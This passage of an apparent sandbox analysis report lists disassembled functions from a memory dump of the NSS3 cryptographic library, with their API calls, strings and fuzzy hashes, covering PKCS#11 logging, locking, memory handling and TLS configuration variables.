security, xrefs: 6C67A00F

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 823acaa2cc335ad26df7d509bc6585238682363e18a277f37ef96c5bfa5f7882
Instruction ID: 7d7db5065df9df95db9942e8cd8d3b8136aba2c4a1a90e86841dd5ea4fda52e4
Opcode Fuzzy Hash: 823acaa2cc335ad26df7d509bc6585238682363e18a277f37ef96c5bfa5f7882
Instruction Fuzzy Hash: 5E51E875D00209ABEB209BA4DC44BAF7379AF4230CF105924E805BAB42F771D559C7BE

Function 6C686D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C686D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686DC3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C686DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C686E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C686E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C686E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C686EB9

Strings

hSession = 0x%x, xrefs: 6C686D9E, 6C686DAE
pDigest = 0x%p, xrefs: 6C686E27
pulDigestLen = 0x%p, xrefs: 6C686E42
pData = 0x%p, xrefs: 6C686DF5
(CK_INVALID_HANDLE), xrefs: 6C686DBC
*pulDigestLen = 0x%x, xrefs: 6C686EB4
nvl, xrefs: 6C686E61, 6C686E95
C_Digest, xrefs: 6C686D81
ulDataLen = %d, xrefs: 6C686E0E

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nvl
API String ID: 1003633598-1341204591
Opcode ID: 261a3bbacfe6adc73c4ac988cf7018bb9c637e35c97ea9e987acacd698a5e4f7
Instruction ID: 419655d85b141ac2d809aaca5a68e7164a6365c178cd1c9b329bffc53f46eb1f
Opcode Fuzzy Hash: 261a3bbacfe6adc73c4ac988cf7018bb9c637e35c97ea9e987acacd698a5e4f7
Instruction Fuzzy Hash: 4B41C575612108AFDB109F55DE4DF8A3BB2AB4335CF044034E909ABA11DB30E949CBBE

Function 6C689C40 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C689C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689CA3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C689CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C689CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C689D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C689D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C689D42

Strings

hSession = 0x%x, xrefs: 6C689C7E, 6C689C8E
pPin = 0x%p, xrefs: 6C689CF0
ulUsernameLen = %d, xrefs: 6C689D3D
ulPinLen = %d, xrefs: 6C689D0B
(CK_INVALID_HANDLE), xrefs: 6C689C9C
C_LoginUser, xrefs: 6C689C61
nvl, xrefs: 6C689D5A, 6C689D91
pUsername = 0x%p, xrefs: 6C689D24
userType = 0x%x, xrefs: 6C689CD5

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser$nvl
API String ID: 1003633598-3871879280
Opcode ID: f7da86eb8523020b75555e19aa2c62ff740ef067c679cbf8587bcd3d27d6facb
Instruction ID: 97001691560bb6bbf9f960e1ba66711bcb3e7fff6fbce1c23f885c0641adbd44
Opcode Fuzzy Hash: f7da86eb8523020b75555e19aa2c62ff740ef067c679cbf8587bcd3d27d6facb
Instruction Fuzzy Hash: CE41B171603548AFDB009F55DE4CE9A3BB2AB4331DF488034E9096BA51DB319918CBBE

Function 6C694C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C694C4C
EnterCriticalSection.KERNEL32(?), ref: 6C694C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C694CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694DB7

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

TlsGetValue.KERNEL32 ref: 6C694DD7
EnterCriticalSection.KERNEL32(?), ref: 6C694DEC
PR_Unlock.NSS3(?), ref: 6C694E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C694E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C694E71
free.MOZGLUE(00000000), ref: 6C694E7A
PR_Unlock.NSS3(?), ref: 6C694EA2
TlsGetValue.KERNEL32 ref: 6C694EC1
EnterCriticalSection.KERNEL32(?), ref: 6C694ED6
PR_Unlock.NSS3(?), ref: 6C694F01
free.MOZGLUE(00000000), ref: 6C694F2A

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: ddcf76185b09ff66af8f83aaf2c6521a0a2c4f4f69a7a3b883a3c515b195a743
Instruction ID: c7eadba8dfdcf8d112905d5e7f89dc14206fe8fe0b03632c4973cecca49b379e
Opcode Fuzzy Hash: ddcf76185b09ff66af8f83aaf2c6521a0a2c4f4f69a7a3b883a3c515b195a743
Instruction Fuzzy Hash: ADB10075A00206EFDB00EF68D884BBA77B4BF0A318F044174ED2597B11EB71E965CB99

Function 6C69FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFB4

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFC6

Part of subcall function 6C7198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C719946
Part of subcall function 6C7198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D16B7,00000000), ref: 6C71994E
Part of subcall function 6C7198D0: free.MOZGLUE(00000000), ref: 6C71995E

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFD6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFE6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFF6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0006
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0016
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0026
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0036
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0046
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0056
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0066
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0076
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0086
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0096
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00A6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00B6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00C6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00D6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00E6

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 6469a5f842050281d22a2772845515bbb5629e086970cb9ed89f603a1cff7afe
Instruction ID: 46c0be7224f279011e5d4f149d0e3a213e0c61ad0ddb1409ee3b8ea372c33888
Opcode Fuzzy Hash: 6469a5f842050281d22a2772845515bbb5629e086970cb9ed89f603a1cff7afe
Instruction Fuzzy Hash: EB3139F0E1B7149E8B45EF26C24C94ABAF4BB26688714553AE02487F10DB74494BCFDD

Function 6C6E6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C6E6BF7), ref: 6C6E6EB6

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C78FC0A,6C6E6BF7), ref: 6C6E6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6E6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C6E6EFC
PR_NewLock.NSS3 ref: 6C6E6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6E6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C6E6BF7), ref: 6C6E6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C6E6BF7), ref: 6C6E6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C6E6BF7), ref: 6C6E6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C6E6BF7), ref: 6C6E6FFD

Strings

SSLKEYLOGFILE, xrefs: 6C6E6EB1
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C6E6F4F
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C6E6FF8
SSLFORCELOCKS, xrefs: 6C6E6F2B
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C6E6FDB
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C6E6EF7

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 9983c3250d8e395f5ef798fee75d9cd6aaf6a91e9736162d06b81e00f2da6d9c
Instruction ID: bfaa7fc9e1db0d61847c1811fb0bf64da549d59bd5bfb9ea467bde6d475f0f21
Opcode Fuzzy Hash: 9983c3250d8e395f5ef798fee75d9cd6aaf6a91e9736162d06b81e00f2da6d9c
Instruction Fuzzy Hash: 6EA119B2A5FD8587E7504A3CCD0178432A6AB8B32AF584377EA31C7ED6DB35D480824D

Function 6C665DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C665DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C665E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C665E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C665E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C665EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C665ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C665F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C665F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C665F89
free.MOZGLUE(?), ref: 6C665FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C665FB6
free.MOZGLUE(00000000), ref: 6C665FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C66600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C666079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C666084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C666094

Strings

, xrefs: 6C665EEB

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: d901d56224bb4418cbcbd9d9a172ef52497049b3c066da2285bbec1347382744
Instruction ID: 10cc2dcea2be0ec3e3dd28649f9d367e685084ceadb61b549844765db08a7210
Opcode Fuzzy Hash: d901d56224bb4418cbcbd9d9a172ef52497049b3c066da2285bbec1347382744
Instruction Fuzzy Hash: FB8114B1E002059BDF108F66DD82BAE77B5AF45318F144128E859A7F82E731E815CBDB

Function 6C63B860 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 174COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000144,?,?,?,?,?,6C63B45E,?,?,?,?,?,?,?,?), ref: 6C63B87D
TlsGetValue.KERNEL32 ref: 6C63B8FE
EnterCriticalSection.KERNEL32(?), ref: 6C63B912
TlsGetValue.KERNEL32 ref: 6C63B959
_PR_MD_UNLOCK.NSS3(?), ref: 6C63B977
calloc.MOZGLUE(00000001,0000002C), ref: 6C63B983
PR_NewCondVar.NSS3 ref: 6C63B9B9
InitializeCriticalSectionAndSpinCount.KERNEL32(-00000040,000005DC,?,?), ref: 6C63BA54
GetLastError.KERNEL32 ref: 6C63BA5F
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C63BA77
DeleteCriticalSection.KERNEL32(?), ref: 6C63BA96
free.MOZGLUE(?), ref: 6C63BA9D
free.MOZGLUE(?), ref: 6C63BAB3
DeleteCriticalSection.KERNEL32(?), ref: 6C63BACD
free.MOZGLUE(00000000), ref: 6C63BAD4

Strings

X {l, xrefs: 6C63B93C
T {l, xrefs: 6C63BA0C

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$free$DeleteErrorValuecalloc$CondCountEnterInitializeLastSpin
String ID: T {l$X {l
API String ID: 1841981668-736249941
Opcode ID: 180d0bfd76e2cce082cf6e65d42c441aa18a0c9d23a00365910ce8724745da72
Instruction ID: 878779299e9c994958c689362b4148c1232f3668f1fa0a85177cbd973475303c
Opcode Fuzzy Hash: 180d0bfd76e2cce082cf6e65d42c441aa18a0c9d23a00365910ce8724745da72
Instruction Fuzzy Hash: EE51DFB0A00B019FEB109F68DC48B9A7BF4FF46349F145539E85ED2A41EB31D445CB99

Function 6C684E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C684E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C684EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684EC7

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C684EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C684F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C684F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C684F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C684F68

Strings

hObject = 0x%x, xrefs: 6C684EF5, 6C684F05
hSession = 0x%x, xrefs: 6C684EA2, 6C684EB2
pTemplate = 0x%p, xrefs: 6C684F4A
(CK_INVALID_HANDLE), xrefs: 6C684EC0, 6C684F13
C_GetAttributeValue, xrefs: 6C684E7E
nvl, xrefs: 6C684F82, 6C684FB2
ulCount = %d, xrefs: 6C684F63

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nvl
API String ID: 1003633598-93353135
Opcode ID: fb92c4ffa5f634867e1735a83aa7d0aa6f90120fdeed323078e37e2375f306a0
Instruction ID: f6e14b3d736c57f279b726a741a7e004b96aca9608d797e3e296e14d28d058eb
Opcode Fuzzy Hash: fb92c4ffa5f634867e1735a83aa7d0aa6f90120fdeed323078e37e2375f306a0
Instruction Fuzzy Hash: A741B871603148ABDB00DF55DE8CFAA77B9AF5231DF044038E9096BA51DB709948CB7E

Function 6C684CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C684CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C684D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684D37

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C684D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C684D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C684DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C684DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C684E20

Strings

hObject = 0x%x, xrefs: 6C684D65, 6C684D75
pulSize = 0x%p, xrefs: 6C684DB7
hSession = 0x%x, xrefs: 6C684D12, 6C684D22
(CK_INVALID_HANDLE), xrefs: 6C684D30, 6C684D83
C_GetObjectSize, xrefs: 6C684CEE
nvl, xrefs: 6C684DD4, 6C684DFF
*pulSize = 0x%x, xrefs: 6C684E1B

Memory Dump Source

